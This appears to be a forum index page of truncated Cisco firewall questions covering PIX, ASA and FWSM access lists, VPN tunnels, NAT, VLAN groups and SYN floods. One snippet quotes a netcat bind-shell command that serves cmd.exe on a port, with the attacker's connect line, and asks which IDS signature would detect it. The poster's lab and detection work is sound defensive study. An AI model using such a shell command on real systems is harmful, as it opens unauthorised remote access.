Network Security

Hello. I am new to PIX. I have an access-list that is permiting traffic through a port to a machine. The access-line is: access-list acl_outside permit udp any host X.X.X.X eq pcany...

how does the fwsm realise a particular vlan when it is assigned to a vlan group?

Hi folks,Ok here's a question for you that so far has been the 'showstopper' for a CCA deployment in my company:We have a 100% cisco network (2821 router sand 3560G-PoE and 6509 switches) but have non-Cisco voip phones. Switchports are configured wi...

Hi Sir,I'm upgrading an FWSM from version 2.3(3) to the Safe Harbor certified version 3.1(4.0).Release Notes of 3.1(4.0) mentions that ASDM release 5.0F supports FWSM software release 3.1 features.I checked Software Downloads; the latest 5.0F version...

I am doing the following lab testing: nc ?v ?l ?e cmd.exe ?p 565Attacker: nc ?v .x.x.x.x 565I was able to get the remote prompt and the IDS never fires an alarm. Is there a signature for detecting this kind of attack? Or, is there any signature tunin...

We have a Cisco PIX 515E with pix ver. 6.3(4). We are receiving continuous SYN packets for one specific server. Can we control this attack by PIX 515E appliance. Pl advise how to do this if possible by PIX 515E.Thanks in advance.Regards,Raghavan

We use Firegen to generate reports from our syslogs and today I noticed the attached messages. Any suggestions on what might me causing them?The first IP that is marked out is on our DMZ and is the address of our SMTP mail server. The second marked o...

HelloI am currently terminating my ISP's PPPoE connection (static IP) on my Cisco Soho77, and then using an internal IP on my firewalls outside interface and therefore double natting. I dont have a problem with this (makes me feel moer secure) but wa...

Does the ASA do inbound PAT on the outside public IP address?

Hi,Currently I have a Server with Two NIC.On 1st NIC I have LAN IP addressOn 2nd NIC I have 2 Public IP addressNow I want to put this Server in the DMZ, but still needs to have 2 Public IP address as a pre-requiste for Microsoft Application.....One P...

Hi guys,Just wonder if you can give me an idea how to sort out a situation when I have 2 subsequent subnets of /29 bits each, one of them is "in front" of PIX515 (OS ver. 7.1) and the second is "behind". For some reason when I asked ISP to just speci...

Hello,I have a ASA 5505 at remote office, and a ASA 5510 at central office.Site to Site VPN is configured on both ASA.All is working, but sometimes VPN tunnel goes down.ASA 5505 still have Internet connection, but the running configuration has chang...

Hi friends,A strange VPN issue with PIX 7.0 though not critical.There is a site to site VPN tunnel between PIX and a Cisco IOS router. The tunnel should come up upon initiating traffic to a host on port 22. When we telnet on port 22 to the host defin...

I want to place a stateful inspection firewall in front of one of my servers (between it and my LAN) and also create a VPN between the firewall and another firewall on another subnet within my network. Can the 501 accomplish this? I am going to pur...